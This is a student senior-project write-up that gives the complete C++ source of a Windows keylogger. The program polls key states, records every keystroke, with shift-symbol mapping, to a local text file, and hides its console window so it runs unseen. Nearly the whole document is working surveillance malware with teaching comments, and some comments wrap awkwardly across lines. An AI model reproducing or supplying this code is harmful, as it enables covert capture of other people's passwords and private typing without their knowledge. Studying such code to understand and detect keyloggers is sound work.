Savanna S.

Senior Project Code – Keylogger

2021

```
// The #include calls specific functions that are built in, below I called 4 libraries.
	//iostream contains input and output functionality
#include <iostream>
#include <Windows.h>
#include <Winuser.h>
#include <fstream>

// This keylogger uses the namespace standard
using namespace std;


//void is used to show the absence of a type, I only declared 2 functions
void HideStealthMode();
void LogStart();

// the function of main() holds the instruction for the keylogger, since this is
considered a simpler keylogger there are not many instructions.
int main() {
	//HideStealthMode is the function I used for the hidden window of my logger
	HideStealthMode();
	//LogStart is the function to hold the logger within a .txt
	LogStart();

	return 0;
}
//listed below are the arguments for the LogStart() function, these arguments are
checking to see which keys have been pressed on the keyboard.
	//character k (for Key) is the local variable for the LogStart() function.
void LogStart() {
	char k;

	for (;;) {

		//Warning on the for loop because I have k<= 222 instead of k<222 (222
being the VK apostrophe key)
		for (k=8; k <=222; k++) {

			//USe Asyncronous state over synchronous state because it gets the
state now over buffer time in synchronous
			if (GetAsyncKeyState(k)==-32767) {

				//below is the output, writing to the file that I created
called 'CollectedLogs.txt', and then the output is appended to the file.
				ofstream write("CollectedLogs.txt",	ios::app);

				if (((k > 64) && (k < 91) && !(GetAsyncKeyState(0x10))))
				{
					k += 32;
						write << k;
						write.close();
						break;
				}
```

```
                        else if ((k > 64) && (k < 91))
                        {
                                write << k;
                                write.close();
                                break;
                        }

                        else {
                                //switch is used to check multiple cases, consider how
the 1 and ! share the same key, this argument checks those.
                                switch (k)
                                {
                                //48 in ASCII decimal is the 0 key
                                case 48:
                                {
                                        if (GetAsyncKeyState(0x10))

                                                write << ")";
                                        else
                                                write << "0";
                                }
                                break;

                                //49 in ASCII decimal is the 1 key....this continues up
to 9
                                case 49:
                                {
                                        if (GetAsyncKeyState(0x10))

                                                write << "!";
                                        else
                                                write << "1";
                                }

                                break;

                                case 50:
                                {
                                        if (GetAsyncKeyState(0x10))

                                                write << "@";
                                        else
                                                write << "2";
                                }
                                break;

                                case 51:
                                {
                                        if (GetAsyncKeyState(0x10))

                                                write << "#";
                                        else
                                                write << "3";
                                }
                                break;

                                case 52:
```

```
{
	if (GetAsyncKeyState(0x10))

		write << "$";
	else
		write << "4";
}
break;

case 53:
{
	if (GetAsyncKeyState(0x10))

		write << "%";
	else
		write << "5";
}
break;

case 54:
{
	if (GetAsyncKeyState(0x10))

		write << "^";
	else
		write << "6";
}
break;

case 55:
{
	if (GetAsyncKeyState(0x10))

		write << "&";
	else
		write << "7";
}
break;

case 56:
{
	if (GetAsyncKeyState(0x10))

		write << "*";
	else
		write << "8";
}
break;

case 57:
{
	if (GetAsyncKeyState(0x10))

		write << "(";
	else
		write << "9";
}
break;
```

```
//VK cases are the virtual keys
	case VK_RETURN:
		write << " *Enter* ";
		break;

	case VK_BACK:
		write << " *Backspace* ";
		break;

	case VK_SPACE:
		write << " ";
		break;

	case VK_SHIFT:
		write << " *Shift* ";
		break;

	case VK_DELETE:
		write << " *Del* ";
		break;

	case VK_TAB:
		write << "    ";
		break;

	case VK_CONTROL:
		write << " *CTRL* ";
		break;

	case VK_MENU:
		write << " *ALT* ";
		break;

	case VK_CAPITAL:
		write << " *CAPS LOCK* ";
		break;

	//Numberpad virtual keys
	case VK_NUMPAD0:
		write << "0";
		break;

	case VK_NUMPAD1:
		write << "1";
		break;

	case VK_NUMPAD2:
		write << "2";
		break;

	case VK_NUMPAD3:
		write << "3";
		break;

	case VK_NUMPAD4:
		write << "4";
```

```
                                        break;

                                    case VK_NUMPAD5:
                                        write << "5";
                                        break;

                                    case VK_NUMPAD6:
                                        write << "6";
                                        break;

                                    case VK_NUMPAD7:
                                        write << "7";
                                        break;

                                    case VK_NUMPAD8:
                                        write << "8";
                                        break;

                                    case VK_NUMPAD9:
                                        write << "9";
                                        break;

                                    case VK_ESCAPE:
                                        write << "ESC";
                                        break;

                                    case VK_OEM_PERIOD:
                                        write << ".";
                                        break;


                                    default:
                                        write<<k;
                                    }
                                }
                            }
                        }
                }
        }
}

void HideStealthMode() {
        HWND stealth;
        AllocConsole();
        stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(stealth, 0);
}
```